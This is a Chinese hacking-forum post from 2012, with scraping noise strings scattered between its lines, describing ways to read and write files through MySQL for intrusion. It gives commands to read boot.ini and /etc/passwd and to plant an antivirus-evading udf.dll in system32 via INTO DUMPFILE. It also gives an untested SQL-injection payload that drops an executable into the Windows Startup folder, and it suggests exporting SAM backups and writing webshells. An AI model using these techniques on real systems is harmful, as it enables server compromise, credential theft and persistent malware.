找回密码
 立即注册
查看: 2795|回复: 0
打印 上一主题 下一主题

mysql下读取文件的几种方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。
/ _4 @5 t" h- u思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同
6 m9 i; U/ h" G9 J" Z7 C5 W
9 r, y( e8 u2 F! d- Zmysql3.x下
* `$ p* l1 C* w5 |/ `) l8 A- R1 @9 g* c# z
不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下 , Q  }7 d3 g7 J3 R3 l+ b
* i) w, f1 K. Q
mysql>create table a (cmd text);   c2 q2 d' q- u; W7 V
mysql>load data infile 'c:\\boot.ini' into table a;
& W( ], s$ E7 E: hmysql>select * from a;
0 t/ t8 l7 N: |' `& E6 M  o
* y- A* z/ \( W5 a9 x& Nmysql4.x下 : J- I4 o- J% z1 o5 K
& [- U0 g+ |2 u1 p& b. a& b
mysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下 7 m. F8 J& r, g. @) g
0 j" A3 D# @8 z0 W# E
mysql>create table a (cmd text);
- x, [& H3 i! k9 ^8 r; m1 Z* \mysql>insert into a (cmd) values (load_file('c:\\boot.ini')); - T( q# E* U& O% W+ A; Z6 \( A& B# d
mysql>select * from a; 8 H+ y% J0 f# q. K* O
, b/ ?& R) t. H) {: }) g* s5 L
mysql5.x下 ) x8 |; Q) I' D9 V4 y9 ~! t( N

5 d2 E& [/ f+ ^" O  `在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下
! I' P! }- S( f4 n; l5 Z0 u, g; q
* L5 u% s% T0 A& q; Hmysql>system cat /etc/passwd , q2 p" G  B* [

7 ]8 S% q; T* a" J" z7 r3 c) v
6 C$ \+ d; c" y& }+ P5 {mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。 / P1 x; X8 a4 ?3 V$ b3 a8 R

, e5 H& C3 {+ m1 J8 j* H2 Q. m+ d5 X
$ I; `+ @9 b: P% B. @/ E例:把免杀过的udf.dll文件插入系统目录
3 a" s. m; l+ \9 e6 h
) K0 f: b$ ~* N. f8 G5 p2 g1 R& _3 dcreate table a (cmd LONGBLOB); 1 [5 f3 a% D1 R' L: H: c
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll')));
8 d- e+ g# g+ v$ D9 u. ASELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll'; 8 }* l" Z0 L3 X5 X+ o

3 P  W6 L( r2 R$ U( U5 D% F0 q. i8 o其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。 3 ^7 G9 ?  G8 `9 p
/ J3 T. a0 D/ l( p& I

* M4 Y3 \( V9 e% ]4 `注入中的语法(未测试)
3 L  y/ o2 X, N( s1 @
! y$ ?! e3 X- h* _. m  M& I4 \5 k  ?& b8 H$ w, d& m3 Q
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表